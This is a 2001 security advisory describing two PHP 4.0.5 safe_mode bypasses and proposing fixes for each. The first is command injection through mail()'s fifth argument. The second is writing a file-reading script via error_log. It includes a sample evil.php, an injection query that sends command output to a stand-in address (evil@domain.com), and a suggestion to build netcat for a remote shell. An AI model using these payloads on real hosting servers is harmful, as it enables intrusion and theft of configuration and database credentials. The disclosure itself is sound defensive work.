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Laberatoire Contempt
Date : 12/06/2001
Author : Joost Pol alias 'Nohican' (joost@contempt.nl)
Impact : Minor in most cases.
Subject : PHP safe_mode troubles.
1. PHP Version 4.0.5 breaks safe-mode.
1.0 - Description of the problem
An extra 5th parameter was added to the mail() command breaking safemode:
- snippet of the code in mail.c (lines 156-165)
if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cm
d)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, " ");
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path; }
sendmail = popen(sendmail_cmd, "w"); }
}
- end of code snippet
The popen() function is the C library function popen(3).
An attacker could easily upload a simple evil.php script containing:
<? mail("foo@bar,"foo","bar","",$bar); ?>
Then the script could be invoked using a simple query like:
http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
1.1 Impact
Well, first of all it renders an important part of safe_mode useless.
Two examples come to mind:
1.1.1 Example 1
A customer has bougt some web space from a provider and is given only
ftp access to upload his files. The customer is not supposed to have
shell access nor view files outside of his home directory.
The customer could easily upload and compile a "lite" version of the
popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make install)
and spawn him self a remote shell on the hosting boxen.
If something like suexec is not used by the provider, the shell spawned
could in fact be a "nobody" (uid of webserver) shell. This could make
the situation even worse.
Situations where (virtual) hosting machines are used in a host-based
authentication scheme, i am not even willing to *consider*.
1.1.2 Example 2
A customer has bought some web space from a provider and was given
a shell account on the hosting boxen.
If something similiar to suexec is not running the customer could spawn
him self a nobody (www, web, uid of webserver) shell. (1.1.1)
The impact of this varies on a per setup/provider basis.
Most providers just dont *expect* someone to have a shell with the uid
of the webserver on the hosting box.
"Internal" scripts, database schemes and database password are commonly
(but sadly) left owned by the uid/gid of the webserver. These become
vulnerable.
Even webserver configuration files (httpd.conf) and *complete* webserver
roots owned by the uid/gid of the webserver have been observed in
the wild.
Experience learns that when unexepected-nobody access is gained on a
(virtual) hosting machine "bad" things are bound to happen sooner or later.
1.2 - Solution
Well, obviously just a "slip" of the PHP-team.
5th argument to mail() should not be honored in safe_mode. (MHO)
2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
2.0 - Description of the problem
PHP safe_mode has the nice feature of disallowing the opening/reading
and writing to files that are not owned by the uid that the script
is owned by.
Though using some "common sense" it still is possible to open/read
and write to files that are owned by the uid the webserver is
running as.
*notice* assuming that something like suexec is not in place */notice*
An attacker could upload a simple script that does the following:
<?
$cmd = '<? showsource($foo); ?>';
error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
?>
For example, assuming that the error_log is owned by the webserver it
could be read using a simple query:
http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
2.1 - Impact
Depends on the setup of the hosting box.
If suexec or something similiar is used, impact is nihil.
See also 1.1.1/1.1.2
2.3 - Solution
Disallow the changing of the error_log location in safe_mode?
Not really for me to say, the PHP-team will come with something good.
Notice: just changing the error_log function wont do, you could also
change the ini setting error_log (or another ini setting
that has a similiar effect).
These ini settings can be set from a user script since they
all have PHP_INI_ALL perimissions.
Maybe disallow setting of ini variables in safemode?
EOF
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Joost Pol alias 'Nohican' <joost@contempt.nl> PGP 584619BD
PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD
Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625
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